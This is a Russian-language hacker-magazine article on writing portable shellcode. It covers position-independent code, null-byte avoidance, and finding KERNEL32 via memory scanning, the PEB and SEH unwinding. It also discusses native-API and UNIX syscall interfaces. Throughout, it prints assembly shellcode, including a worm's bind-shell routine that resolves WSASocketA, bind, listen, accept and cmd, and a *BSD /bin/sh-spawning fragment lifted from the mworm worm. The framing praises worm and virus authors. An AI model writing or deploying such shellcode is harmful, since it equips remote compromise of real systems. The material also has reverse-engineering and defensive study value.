Техника написания переносимого Shell-кода

Автор: (c)Крис Касперски ака мыщъх

Shell-код никогда заранее не знает, куда попадет, поэтому он должен уметь выживать в любых условиях, автоматически адаптируясь под конкретную операционную систему, что не так-то просто сделать. Подавляющее большинство хакеров именно на этом и прокалывались. Немногие выжившие в поединке дали миру киберпространства то, в чем нуждались десятки червей, вирусов и их создателей...

Введение

Последнее время в хакерских кругах много говорят о переносимом shell-коде. Одни восхищаются им, другие презрительно хмыкают, уподобляя переносимый shell-код морской свинке. И не морской, и не свинке. Шутка. Но доля истины в ней есть. "Переносимым" называют программное обеспечение, полностью абстрагированное от конструктивных особенностей конкретного программно-аппаратного обеспечения. Функция printf успешно выводит "hello, world!" как на монитор, так и на телетайп. Поэтому она переносима. Обратите внимание: переносима именно функция, но не ее реализация. Монитор и телетайп обслуживает различный код, выбираемый на стадии компиляции приложения, а точнее - его линковки, но это уже не суть важно.

Shell-код - это машинный код, тесно связанный с особенностями атакуемом системы и переносимым он не может быть по определению. Компиляторов shell-кода не существует, хотя бы уже потому, что не существует адекватных языков его описания, вынуждая нас прибегать к ассемблеру и машинному коду, которые у каждого процессора свои. Хуже того. В отрыве от периферийного окружения голый процессор никому не интересен, ведь shell-коду приходится не только складывать и умножать, но еще и открывать/закрывать файлы, обрабатывать сетевые запросы, а для этого необходимо обратиться к API-функциям операционной системы или к драйверу соответствующего устройства. Различные операционные системы используют различные соглашения и эти соглашения сильно не одинаковы. Создать shell-код, поддерживающий десяток-другой популярных осей, вполне возможно, но его размеры превысят все допустимые лимиты и ограничения (длина переполняющихся буферов от силы измеряется десятками байт; это что же выходит - по одному байту на каждую версию shell-кода?!).

Условимся называть переносимым shell-кодом машинный код, поддерживающий заданную линейку операционных систем (например, Windows NT, Window 2000 и Windows XP). Как показывает практика, для решения подавляющего большинства задач такой степени переносимости вполне достаточно. В конце концов, гораздо проще написать десяток узкоспециализированных shell-кодов, чем один универсальный. Что поделаешь, переносимость требует жертв и в первую очередь - увеличения объема shell-кода, а потому она оправдывает себя только в исключительных ситуациях.

Требования, предъявляемые к переносимому shell-коду

Переносимый shell-код должен быть полностью перемещаем (т.е. сохранять работоспособность при любом расположении в памяти) и использовать минимум системно-зависимых служебных структур, закладываясь лишь на наименее изменчивые и наиболее документированные из них.

Отталкиваться от содержимого регистров ЦП на момент возникновения переполнения категорически недопустимо, поскольку их значения в общем случае неопределенны и решиться на такой шаг можно только с голодухи, когда shell-код упрямо не желает вмещаться в отведенное ему количество байт и приходится импровизировать, принося в жертву переносимость.

Забудьте о хитрых трюках (в народе именуемых "хаками"), эквилибристических извращениях и недокументированных возможностях - все это негативно сказывается на переносимости и фактически ничего не дает взамен. Помните, анекдот: "Моя программа в сто раз компактнее, быстрее и элегантнее твоей!" "- Зато моя программа работает, а твоя - нет". Тезис о том, что хакерство - это искусство, еще никто не отменял, но не путайте божий дар с яичницей. Круто извратиться каждый ламер сможет, а вот умение забросить shell-код на сервер, ничего при этом не уронив - дано далеко не каждому.

Пути достижения мобильности

Техника создания перемещаемого кода тесно связана с архитектурой конкретного микропроцессора. В частности, линейка x86 поддерживает следующие относительные команды: PUSH/POP, CALL и Jx. Старушка PDP-11 в этом отношении была намного богаче и, что самое приятное, позволяла использовать регистр-указатель команд в адресных выражениях, существенно упрощая нашу задачу. Но, к сожалению, не мы выбираем процессоры. Это процессоры выбирают нас.

Команды условного перехода Jxx всегда относительны, т.е. операнд команды задает отнюдь не целевой адрес, а разницу между целевым адресом и адресом следующей команды, благодаря чему переход полностью перемещаем. Поддерживаются два типа операндов: byte и word/dword, оба знаковые, т.е. переход может быть направлен как "вперед", так и "назад" (в последнем случае операнд становится отрицательным).

Команды безусловного перехода JMP бывают как абсолютными, так и относительными. Относительные начинаются с опкода EBh (операнд типа byte) или E9h (операнд типа word/dword), а абсолютные - с EAh, при этом операнд записывается в форме сегмент:смещение. Существуют еще и косвенные команды, передающие управление по указателю, лежащему по абсолютному адресу или регистру. Последнее наиболее удобно и осуществляется приблизительно так: mov eax, абсолютный адрес/jmp eax.

Команда вызова подпрограммы CALL ведет себя аналогично jmp, за тем лишь исключением, что кодируется другими опкодами (E8h - относительный операнд типа word/dword, FFh /2 - косвенный вызов) и перед передачей управления на целевой адрес забрасывает на верхушку стека адрес возврата, представляющий собой адрес команды, следующей за call.

При условии, что shell-код расположен в стеке (а при переполнении автоматических буферов он оказывается именно там), мы можем использовать регистр ESP в качестве базы, однако текущее значение ESP должно быть известно, а известно оно далеко не всегда. Для определения текущего значения регистра указателя команд достаточно сделать near call и вытащить адрес возврата командой pop. Обычно это выглядит так:

00000000: E800000000    call  000000005  ; закинуть EIP+sizeof(call) в стек
00000005: 5D            pop   ebp        ; теперь в регистре ebp текущий eip

Листинг 1. Определение расположения shell-кода в памяти.

Приведенный код не свободен от нулей (а нули в shell-коде в большинстве случаев недопустимы) и чтобы от них избавиться, call необходимо перенаправить "назад":

00000000: EB04          jmps  000000006  ; короткий прыжок на call
00000002: 5D            pop   ebp        ; ebp содержит адрес, следующий за call
00000003: 90            nop              ; \
00000004: 90            nop              ;  +- актуальный shell-код
00000005: 90            nop              ; /
00000006: E8F7FFFFFF    call  000000002  ; закинуть адрес следующей команды в стек

Листинг 2. Освобождение shell-кода от паразитных нулевых символов.

Саксь и маст дай жесткой привязки

Нет ничего проще вызова API-функции по абсолютным адресам. Выбрав функцию (пусть это будет GetCurrentThreadId, экспортируемая KERNEL32.DLL) мы пропускам ее через утилиту dumpbin, входящую в комплект поставки практически любого компилятора. Узнав RVA (Relative Virtual Address - относительный виртуальный адрес) нашей подопечной, мы складываем его с базовым адресом загрузки, сообщаемым тем же dumpbin'ом, получая в результате абсолютный адрес функции.

Полный сеанс работы с утилитой выглядит так:

>dumpbin.exe /EXPORTS KERNEL32.DLL > KERNEL32.TXT
>type KERNEL32.TXT | MORE
ordinal hint RVA      name
...
270      10D 00007DD2 GetCurrentProcessId
271      10E 000076AB GetCurrentThread
272      10F 000076A1 GetCurrentThreadId
273      110 00017CE2 GetDateFormatA
274      111 00019E18 GetDateFormatW
...

>dumpbin.exe /HEADERS KERNEL32.DLL > KERNEL32.TXT
>type KERNEL32.TXT | MORE
...
OPTIONAL HEADER VALUES
             10B magic #
            5.12 linker version
           5D800 size of code
           56400 size of initialized data
               0 size of uninitialized data
            871D RVA of entry point
            1000 base of code
           5A000 base of data
        77E80000 image base
            1000 section alignment
             200 file alignment
...

Листинг 3. Для определения абсолютного адреса функции GetCurrentThreadId необходимо сложить ее RVA адрес (76A1h) с ее базовым адресом загрузки модуля (77E80000h).

На машине автора абсолютный адрес функции GetCurrentThreadId равен 77E876A1h, но в других версиях Windows NT он наверняка будет иным. Зато ее вызов свободно укладывается всего в две строки, соответствующие следующим семи байтам:

00000000: B8A1867E07    mov   eax,0077E86A1
00000005: FFD0          call  eax

Листинг 4. Прямой вызов API-функции по абсолютному адресу.

Теперь попробуем вызвать функцию connect, экспортируемую ws2_32.dll. Пропускаем ws2_32.dll через dumpbin и... Стоп! А кто нам вообще обещал, что эта динамическая библиотека окажется в памяти? А если даже и окажется, то не факт, что базовый адрес, прописанный в ее заголовке, совпадает с реальным базовым адресом загрузки. Ведь динамических библиотек много и если этот адрес уже кем-то занят, операционная система загрузит библиотеку в другой регион памяти.

Лишь две динамические библиотеки гарантируют свое присутствие в адресном пространстве любого процесса, всегда загружаясь по одним и тем же адресам. Это: KERNEL32.DLL и NTDLL.DLL. Функции, экспортируемые остальными библиотеками, правильно вызывать так:

        h = LoadLibraryA("ws2_32.DLL");
        if (h != 0) __error__;
        zzz = GetProcAddress(h, "connect");

Листинг 5. Псевдокод, демонстрирующий вызов произвольных функций.

Таким образом, задача вызова произвольной функции сводится к поиску адресов функций LoadLibraryA и GetProcAddress.

Артобстрел прямого поиска в памяти

Наиболее универсальный, переносимый и надежный способ определения адресов API-функций сводится к сканированию адресного пространства процесса на предмет поиска PE-сигнатур с последующим разбором таблицы экспорта.

Устанавливаем указатель на C0000000h (верхняя граница пользовательского пространства для Windows 2000 Advanced Server и Datacenter Server, запущенных с загрузочным параметром /3GB) или на 80000000h (верхняя граница пользовательского пространства всех остальных систем).

Проверяем доступность указателя вызовом функции IsBadReadPrt, экспортируемой KERNEL32.DLL или устанавливаем свой обработчик структурных исключений для предотвращения краха системы (подробности обработки структурных исключений - в следующей статье). Если здесь лежит "MZ", увеличиваем указатель на 3Ch байта, извлекая двойное слово e_lfanew, содержащее смещение "PE" сигнатуры. Если эта сигнатура действительно обнаруживается, базовый адрес загрузки динамического модуля найден и можно приступать к разбору таблицы экспорта, из которого требуется вытащить адреса функций GetLoadLibraryA и GetProcAddress (зная их, мы узнаем все остальное). Если хотя бы одно из этих условий не выполняется, уменьшаем указатель на 10000h и все повторяем сначала (базовые адреса загрузки всегда кратны 10000h, поэтому этот прием вполне законен).

BYTE *pBaseAddress = (BYTE *)0xС0000000; // верхняя граница для всех систем

while (pBaseAddress) // мотаем цикл от бобра до обеда
{
        // проверка доступности адреса на чтение
        if (!IsBadReadPtr(pBaseAddress, 2))
        
        // это "MZ"?
        if (*(WORD*)pBaseAddress == 0x5A4D)
        
        // указатель на "PE" валиден?
        if (!IsBadReadPtr(pBaseAddress + (*(DWORD*)(pBaseAddress + 0x3C)), 4))
        
        // а это "PE"?
        if (*(DWORD*)(pBaseAddress + (*(DWORD*)(pBaseAddress + 0x3C))) == 0x4550)
        
        // приступаем к разбору таблицы импорта
        if (n2k_simple_export_walker(pBaseAddress)) break;
        
        // тестируем следующий 64Кбайтный блок памяти
        pBaseAddress -= 0x10000;
}

Листинг 6. Псевдокод, осуществляющий поиск базовых адресов всех загруженных модулей по PE-сигнатуре.

Разбор таблицы экспорта осуществляется приблизительно так (пример, выдранный из безымянного червя BlackHat, полный исходный текст которого можно найти на сайте www.blackhat.com):

        call    here
        db     "GetProcAddress",0,"LoadLibraryA",0
        db     "CreateProcessA",0,"ExitProcess",0
        db     "ws2_32",0,"WSASocketA",0
        db     "bind",0,"listen",0,"accept",0
        db     "cmd",0
here:
        pop     edx
        push    edx
        mov     ebx,77F00000h
l1:
        cmp     dword ptr [ebx],905A4Dh ;/x90ZM
        je      l2
        ;db     74h,03h
        dec     ebx
        jmp     l1
l2:
        mov     esi,dword ptr [ebx+3Ch]
        add     esi,ebx
        mov     esi,dword ptr [esi+78h]
        add     esi,ebx
        mov     edi,dword ptr [esi+20h]
        add     edi,ebx
        mov     ecx,dword ptr [esi+14h]
        push    esi
        xor     eax,eax
l4:
        push    edi
        push    ecx
        mov     edi,dword ptr [edi]
        add     edi,ebx
        mov     esi,edx
        xor     ecx,ecx
;GetProcAddres
        mov     cl,0Eh
        repe    cmps
        pop     ecx
        pop     edi
        je      l3
        add     edi,4
        inc     eax
        loop    l4
        jmp     ecx
l3:
        pop     esi
        mov     edx,dword ptr [esi+24h]
        add     edx,ebx
        shl     eax,1
        add     eax,edx
        xor     ecx,ecx
        mov     cx,word ptr [eax]
        mov     eax,dword ptr [esi+1Ch]
        add     eax,ebx
        shl     ecx,2
        add     eax,ecx
        mov     edx,dword ptr [eax]
        add     edx,ebx
        pop     esi
        mov     edi,esi
        xor     ecx,ecx
;Get 3 Addr
        mov     cl,3
        call    loadaddr
        add     esi,0Ch

Листинг 7. Ручной разбор таблицы экспорта.

Главный недостаток этого способа в его чрезмерной громоздкости, а ведь предельно допустимый объем shell-кода ограничен, но к сожалению ничего лучшего пока не придумали. Поиск базового адреса можно и заоптимизировать (что мы сейчас, собственно, и продемонстрируем), но от разбора экспорта никуда не уйти... Это карма переносимого shell-кода или дань, выплачивая за мобильность.

Огонь прямой наводкой - PEB

Из всех способов определения базового адреса, наибольшей популярностью пользуется анализ PEB (Process environment block - Блок Окружения Процесса) - служебной структуры данных, содержащей среди прочей полезной информации и базовые адреса всех загруженных модулей.

Популярность незаслуженная и необъяснимая. Ведь PEB - это внутренняя кухня операционной системы Windows NT, которой ни документация, ни включаемые файлы делиться не собираются и лишь Microsoft Kernel Debugger обнаруживает обрывки информации. Подобная степень недокументированности не может не настораживать. В любой из последующих версиях Windows структура PEB может измениться, как это она уже делала неоднократно, и тогда данный прием перестанет работать, а работает он, кстати говоря, только в NT. Линейка 9x отдыхает.

Так что, задумайтесь - а так ли вам этот PEB нужен? Единственное его достоинство - предельно компактный код:

00000000: 33C0          xor    eax,eax            ; eax := 0
00000002: B030          mov    al,030             ; eax := 30h
00000004: 648B00        mov    eax,fs:[eax]       ; PEB base
00000007: 8B400C        mov    eax, [eax][0000C]  ; PEB_LDR_DATA
0000000A: 8B401C        mov    eax, [eax][0001C]  ; 1-й элемент InInitOrderModuleList
0000000D: AD            lodsd                     ; следующий элемент
0000000E: 8B4008        mov    eax, [eax][00008]  ; базовый адрес KERNEL32.DLL

Листинг 8. Определение базового адреса KERNEL32.DLL путем анализа PEB.

Раскрутка стека структурных исключение

Обработчик структурных исключений, назначаемый операционной системой по умолчанию, указывает на функцию KERNEL32!_except_handler3. Определив ее адрес, мы определим положение одной из ячеек, гарантированно принадлежащей модулю KERNEL32.DLL, после чего останется округлить его на величину кратную 10000h и заняться поисками PE сигнатуры по методике, изложенной в "Артобстреле прямого поиска в памяти" с той лишь разницей, что проверять доступность указателя перед обращением к нему не нужно, т.к. теперь он заведомо доступен.

Практически все приложения используют свои обработчики структурных исключений и потому текущий обработчик не совпадает с обработчиком, назначенным операционной системой, и shell-коду требуется раскрутить цепочку обработчиков, добравшись до самого конца. Последний элемент списка и будет содержать адрес KERNEL32!_except_handler3.

Достоинство этого приема в том, что он использует только документированные свойства операционной системы, работая на всех операционных системах семейства Windows, исключая, разумеется, Windows 3.x, где все не так. К тому же, он довольно компактен.

00000000: 6764A10000      mov    eax,fs:[00000]  ; текущ. EXCEPTION_REGISTRATION
00000005: 40              inc    eax             ; если eax был -1, станет 0
00000006: 48              dec    eax             ; откат на прежний указатель
00000007: 8BF0            mov    esi,eax         ; esi на EXCEPTION_REGISTRATION
00000009: 8B00            mov    eax,[eax]       ; EXCEPTION_REGISTRATION.prev
0000000B: 40              inc    eax             ; если eax был -1, станет 0
0000000C: 75F8            jne    000000006       ; если не нуль, разматываем дальше
0000000E: AD              lodsd                  ; пропускаем prev
0000000F: AD              lodsd                  ; извлекаем handler
00000010: 6633C0          xor    ax,ax           ; выравниваем на 64 Кб
00000013: EB05            jmps   00000001A       ; прыгаем в тело цикла
00000015: 2D00000100      sub    eax,000010000   ; спускаемся на 64 Кб вниз
0000001A: 6681384D5A      cmp    w,[eax],05A4D   ; это "MZ"?
0000001F: 75F4            jne    000000015       ; если не "MZ", продолжаем мотать
00000021: 8B583C          mov    ebx,[eax+3Ch]   ; извлекаем указатель на PE
00000024: 813C1850450000  cmp    [eax+ebx],4550h ; это "PE"?
0000002B: 75E8            jne    000000015       ; если не "PE", продолжаем мотать

Листинг 9. Определение базового адреса KERNEL32.DLL через SEH, возвращаемый в регистре EAX.

Native API или портрет в стиле "ню"

Высшим пилотажем хакерства считается использование голого API операционной системы (оно же native API или сырое API). На самом деле, извращение без причины - признак ламерщины. Мало того, что native API-функции полностью недокументированны и подвержены постоянным изменениям, так они еще и непригодны к непосредственному употреблению (вот поэтому они и "сырые"). Это полуфабрикаты, реализующие низкоуровневые примитивы (primitive), своеобразные строительные кирпичики, требующие большого объема сцепляющего кода, конкретные примеры реализации которого можно найти в NTDLL.DLL и KERNEL32.DLL.

В Windows NT доступ к native-API функциям осуществляется через прерывание INT 2Eh. В регистр EAX заносится номер прерывания, а в EDX - адрес параметрического блока с аргументами. В Windows XP для этой же цели используется машинная команда sysenter, но все свойства прерывания INT 2Eh полностью сохранены - во всяком случае, пока...

Ниже перечислены наиболее интересные функции native-API, применяющиеся в shell-кодах, а подробное изложение техники их вызова на русском языке можно найти, в частности, здесь: http://www.wasm.ru/docs/3/gloomy.zip.

 000h    AcceptConnectPort     (24 bytes of parameters)
 00Ah    AllocateVirtualMemory (24 bytes of parameters)
 012h    ConnectPort           (32 bytes of parameters)
 017h    CreateFile            (44 bytes of parameters)
 019h    CreateKey             (28 bytes of parameters)
 01Ch    CreateNamedPipeFile   (56 bytes of parameters)
 01Eh    CreatePort            (20 bytes of parameters)
 01Fh    CreateProcess         (32 bytes of parameters)
 024h    CreateThread          (32 bytes of parameters)
 029h    DeleteFile            (4 bytes of parameters)
 02Ah    DeleteKey             (4 bytes of parameters)
 02Ch    DeleteValueKey        (8 bytes of parameters)
 02Dh    DeviceIoControlFile   (40 bytes of parameters)
 03Ah    FreeVirtualMemory     (16 bytes of parameters)
 03Ch    GetContextThread      (8 bytes of parameters)
 049h    MapViewOfSection      (40 bytes of parameters)
 04Fh    OpenFile              (24 bytes of parameters)
 051h    OpenKey               (12 bytes of parameters)
 054h    OpenProcess           (16 bytes of parameters)
 059h    OpenThread            (16 bytes of parameters)
 067h    QueryEaFile           (36 bytes of parameters)
 086h    ReadFile              (36 bytes of parameters)
 089h    ReadVirtualMemory     (20 bytes of parameters)
 08Fh    ReplyPort             (8 bytes of parameters)
 092h    RequestPort           (8 bytes of parameters)
 096h    ResumeThread          (8 bytes of parameters)
 09Ch    SetEaFile             (16 bytes of parameters)
 0B3h    SetValueKey           (24 bytes of parameters)
 0B5h    ShutdownSystem        (4 bytes of parameters)
 0BAh    SystemDebugControl    (24 bytes of parameters)
 0BBh    TerminateProcess      (8 bytes of parameters)
 0BCh    TerminateThread       (8 bytes of parameters)
 0C2h    UnmapViewOfSection    (8 bytes of parameters)
 0C3h    VdmControl            (8 bytes of parameters)
 0C8h    WriteFile             (36 bytes of parameters)
 0CBh    WriteVirtualMemory    (20 bytes of parameters)
 0CCh    W32Call               (20 bytes of parameters)

Листинг 10. Основные функции native-API.

Сводная таблица различных методов

МетодЧем поддерживаетсяПереносим?Удобен в реализации?
NT/2000/XP9x
Жесткая привязкададанетда
Поиск в памятидададанет
Анализ PEBданетчастичнода
Раскрутка SEHдададада
Native APIдане совсемнетнет

Таблица 1. Сводная таблица различных методов поиска API-адресов, победитель выделен синим цветом.

Системные вызовы UNIX

Зоопарк UNIX-подобных систем валит с ног своим разнообразием, осложняя разработку переносимых shell-кодов до чрезвычайности.

Используются по меньшей мере шесть способов организации интерфейса с ядром: дальний вызов по "селектору семь:смещение ноль" (HP-UX/PA-RISC, Solaris/x86, xBSD/x86), syscall (IRIX/MIPS), ta 8 (Solaris/SPARC), svca (AIX/POWER/PowerPC), INT 25h (BeOS/x86) и INT 80h (xBSD/x86, Linix/x86), причем порядок передачи параметров и номера системных вызов у всех разные. Некоторые системы перечислены дважды - это означает, что они используют гибридный механизм системных вызовов.

Подробно описывать каждую из систем здесь неразумно, т.к. это заняло бы слишком много места, тем более, что это давным-давно описано в "UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes" от Last Stage of Delirium Research Group (http://opensores.thebunker.net/pub/mirrors/blackhat/presentations/bh-usa-01/LSD/bh-usa-01-lsd.pdf). Да-да! Той самой легендарной хакерской группы, что нашла дыру в RPC. Это действительно толковые парни и пишут они классно (я только крякал, когда читал).

Ниже в качестве примера приведен код, дающий удаленный shell под *BSD/x86, выдранный из червя mworm с краткими комментариями (комментарии - мои):

data:0804F860    x86_fbsd_shell:                ; eax := 0
data:0804F860 31 C0           xor    eax, eax
data:0804F862 99              cdq               ; edx : = 0
data:0804F863 50              push   eax
data:0804F864 50              push   eax
data:0804F865 50              push   eax
data:0804F866 B0 7E           mov    al, 7Eh
data:0804F868 CD 80           int    80h        ; LINUX - sys_sigprocmask
data:0804F86A 52              push   edx        ; завершающий ноль
data:0804F86B 68 6E 2F 73 68  push   68732F6Eh  ; ..n/sh
data:0804F870 44              inc    esp
data:0804F871 68 2F 62 69 6E  push   6E69622Fh  ; /bin/n..
data:0804F876 89 E3           mov    ebx, esp
data:0804F878 52              push   edx
data:0804F879 89 E2           mov    edx, esp
data:0804F87B 53              push   ebx
data:0804F87C 89 E1           mov    ecx, esp
data:0804F87E 52              push   edx
data:0804F87F 51              push   ecx
data:0804F880 53              push   ebx
data:0804F881 53              push   ebx
data:0804F882 6A 3B           push   3Bh
data:0804F884 58              pop    eax
data:0804F885 CD 80           int    80h        ; LINUX - sys_olduname
data:0804F887 31 C0           xor    eax, eax
data:0804F889 FE C0           inc    al
data:0804F88B CD 80           int    80h        ; LINUX - sys_exit

Листинг 11. Фрагмент червя mworm, демонстрирующий технику использования системных вызовов.

Еще один пример

Рисунок 1. Еще один пример использования системных вызовов в диверсионных целях.

Заключение

В непрерывно изменяющемся мире киберпространства полученные знания и навыки устаревают необычайно быстро и потому предложенные приемы спустя некоторое время перестанут работать. Но прежде чем это произойдет, хакеры додумаются до новых!

Не воспринимайте данную статью как догму! Это уже отработанный материал. Устремите свой взгляд в мутную пелену будущего. Что вы видите там? Какие идеи мелькают в вашей голове? Что вы ждете? Ведь если вы не додумаетесь, никто не додумается! Так дерзайте же!